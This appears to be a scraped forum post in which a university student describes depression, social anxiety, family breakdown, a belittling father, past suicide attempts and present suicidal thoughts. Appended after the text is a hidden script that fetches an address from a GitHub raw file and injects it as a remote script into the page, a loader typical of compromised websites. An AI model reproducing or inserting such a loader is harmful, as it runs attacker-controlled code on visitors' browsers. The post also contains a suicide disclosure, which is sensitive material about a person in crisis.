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I used to be full of hope and energy before my university days, but I don't where it all started to go south. I'm not good enough and nothing good comes my way. I don't have money nor a peaceful family. My parents are likely to separate soon, I'm the first child and have 4 younger siblings so you can only imagine the pressure I'm feeling in this kind of situation. I have bad social anxiety so I'm basically lonely which is affecting my school life because due to this, I now have loads of carryovers and hardly attend classes because I don't want to meet people. I'm also struggling academically because not only is my social anxiety affecting me but the situation my family is in is also affecting me. I have very low confidence and when I love someone; I get betrayed in the end. It just feels like there's something wrong with me that I can't point out because nothing is going well for me. I don't have an ambition nor destination. I've lost interest in everything. I compare myself a lot that even when something good happens to a friend, I hesitate to congratulate them because I'm also thinking, why can't the same happen to me, no matter how hard I try to be happy for that person, I keep having such thoughts which I hate myself for. My Father made me believe that I'm useless, Good at nothing and a complete failure. If I think about it, it all started from him, he scolded me a lot for my mistakes and kept on pushing those believes in my head and now they're stuck there. No matter how hard to speak positive affirmations to myself and stop harboring negative thoughts, it doesn't work. I'm extremely tired, lost and have no one to tell. I can't even tell my parents about my carryovers talk less of tell them that I'm depressed and I need money for a therapy session, I just know they won't understand. No one ever understands me. I've attempted suicide a lot in the past, but I stopped at one point when I started thinking of how bad it'll affect my siblings but now, I don't think I can live any further.<script>;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script>